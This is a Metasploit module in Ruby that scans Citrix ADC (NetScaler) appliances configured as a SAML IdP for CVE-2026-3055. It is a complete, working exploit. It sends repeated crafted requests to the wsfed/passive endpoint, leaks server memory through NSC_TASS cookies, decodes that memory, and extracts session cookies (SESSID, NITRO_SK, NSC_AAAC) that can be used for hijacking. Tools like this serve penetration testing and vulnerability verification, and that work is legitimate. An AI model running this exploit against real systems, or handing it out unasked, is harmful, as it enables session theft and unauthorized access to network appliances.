## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => 'Citrix ADC (NetScaler) CVE-2026-3055 Scanner', 'Description' => %q{ This module scans for a vulnerability that allows a remote, unauthenticated attacker to leak memory from a target Citrix ADC server configured as a SAML IdP. The leaked memory is then scanned for session cookies which can be hijacked if found. }, 'Author' => [ 'watchTowr', # Original technical analysis and PoC for CVE-2026-3055 'sfewer-r7' # Metasploit module for CVE-2026-3055, based on the watchTowr PoC and Spencer McIntyre's module for CVE-2023-4966. ], 'References' => [ ['CVE', '2026-3055'], ['URL', 'https://labs.watchtowr.com/the-sequels-are-never-as-good-but-were-still-in-pain-citrix-netscaler-cve-2026-3055-memory-overread/'], ['URL', 'https://labs.watchtowr.com/please-we-beg-just-one-weekend-free-of-appliances-citrix-netscaler-cve-2026-3055-memory-overread-part-2/'] ], 'DisclosureDate' => '2026-03-23', 'License' => MSF_LICENSE, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [], 'SideEffects' => [] }, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Base path', '/']), OptInt.new('LEAK_REQUEST_COUNT', [true, 'The number of HTTP requests per host to try and leak data when exploiting the vulnerability', 4096]), OptInt.new('CHECK_REQUEST_COUNT', [true, 'The maximum number of HTTP requests per host to try and leak data when checking for the vulnerability', 4]), ] ) end def check_host(_target_host) datastore['CHECK_REQUEST_COUNT'].times do res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'wsfed', 'passive'), 'headers' => { 'Host' => Rex::Text.rand_text_alpha(128) }, 'vars_get' => { 'wctx' => nil } ) return Exploit::CheckCode::Unknown('Connection failed') unless res # If has been observed that some requests generate a 200 response for a SAML error. We can continue # trying to leak data rather than bail out early. next if res.code == 200 && res.body == 'Undefined SAML error' return Exploit::CheckCode::Unknown("Unexpected response code #{res.code}") unless res.code == 302 cookies = res.get_cookies # A patched system will not return any cookie values. return Exploit::CheckCode::Safe('Response has no cookies') if cookies.empty? return Exploit::CheckCode::Safe('Response has no NSC_TASS cookie') unless cookies.include? 'NSC_TASS=' # We report vulnerable, as by here an unpatched system will be leaking memory in the NSC_TASS cookie, while # a patched system will not return any cookies at all. report_vuln return Exploit::CheckCode::Vulnerable('Response contains an NSC_TASS cookie.') end Exploit::CheckCode::Unknown end def run_host(_target_host) # We track the number of bytes we leak to report back to the user and help determine if we triggered the vuln or not. leaked_data_count = 0 # We use a set to track the unique leaked cookies, so we don't report leaking the same cookie numerous times. found_cookies = Set.new # As we cannot control what we leak, we hit the vuln up to LEAK_REQUEST_COUNT times and hope that we leak # something useful during one of those attempts. datastore['LEAK_REQUEST_COUNT'].times do # Trigger CVE-2026-3055... res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'wsfed', 'passive'), 'headers' => { 'Host' => Rex::Text.rand_text_alpha(128) }, 'vars_get' => { 'wctx' => nil } ) # Bail out early if the connection fails for this host unless res vprint_error("#{peer} - Connection failed") break end # A vulnerable host will return 302, but may occasionally return a 200 error, we test for this and keep # going if we see the 200 error, otherwise we bail out early. unless res.code == 302 vprint_error("#{peer} - Unexpected response code #{res.code}") # If has been observed that some requests generate a 200 response for a SAML error. We can continue # trying to leak data rather than bail out early. next if res.code == 200 && res.body == 'Undefined SAML error' break end # The leaked data comes back to us in a Set-Cookie header, so we bail out early if no cookies are returned. # This will handle a patched appliance. # Note: A patched system will not return any cookie values. cookies = res.get_cookies if cookies.empty? vprint_error("#{peer} - Response has no cookies") break end # For every cookie returned, iterate over its key value pair and look for the NSC_TASS cookies which will # contain the leaked memory (base64 encoded) key_vals = cookies.scan(/\s?([^, ;]+?)=([^, ;]*?)[;,]/) key_vals.each do |k, v| next unless k == 'NSC_TASS' # Validate an NSC_TASS cookie value is well-formed base64 before attempting to decode it. unless v.match?(%r{\A[A-Za-z0-9+/]+={0,2}\z}) vprint_error("#{peer} - NSC_TASS cookie value is not valid base64: #{v}") next end bytes = Rex::Text.decode_base64(v) leaked_data_count += bytes.bytesize # Detect the SESSID and optional NITRO_SK cookie pair. The SESSID value is a hex string, while the NITRO_SK # value is URL-encoded base64. The two cookies may appear in either order in the leaked data. These cookies # are from the management interface. Note, the management interface may or may not be bound to the same RHOST IP # address we are targeting, that depends on the appliance configuration. We can still leak it as its all in # memory either way, but we may not be able to reuse it if we cant access the management interface. bytes.scan(/SESSID=([0-9a-f]{32})/i).each do |match| sessid_value = match.first next if found_cookies.include?("SESSID=#{sessid_value}") found_cookies.add("SESSID=#{sessid_value}") nitro_sk_match = bytes.match(/NITRO_SK=([^\s;,]+)/i) if nitro_sk_match nitro_sk_value = nitro_sk_match[1] print_good("#{peer} - Leaked cookie pair: SESSID=#{sessid_value}; NITRO_SK=#{nitro_sk_value}") else print_good("#{peer} - Leaked cookie: SESSID=#{sessid_value}") end end # Detect NSC_AAAC cookies independently of the SESSID/NITRO_SK pair. bytes.scan(/NSC_AAAC=([0-9a-f]{32,64})/i).each do |match| nsc_aaac_value = match.first next if found_cookies.include?("NSC_AAAC=#{nsc_aaac_value}") found_cookies.add("NSC_AAAC=#{nsc_aaac_value}") print_good("#{peer} - Leaked cookie: NSC_AAAC=#{nsc_aaac_value}") end end rescue Errno::ECONNRESET # It was observed that the server may reset the connection when activity on the management interface is occurring. vprint_warning("#{peer} - Connection reset") end if leaked_data_count > 0 message = "The target is vulnerable. Leaked #{leaked_data_count} bytes" if found_cookies.empty? message += ', but did not leak any session cookies.' else cookie_word = found_cookies.size == 1 ? 'session cookie' : 'session cookies' message += ", and #{found_cookies.size} unique #{cookie_word}." end print_status("#{peer} - #{message}") report_vuln else print_status("#{peer} - The target does not appear vulnerable.") end end def report_vuln super( host: rhost, port: rport, name: name, refs: references ) end end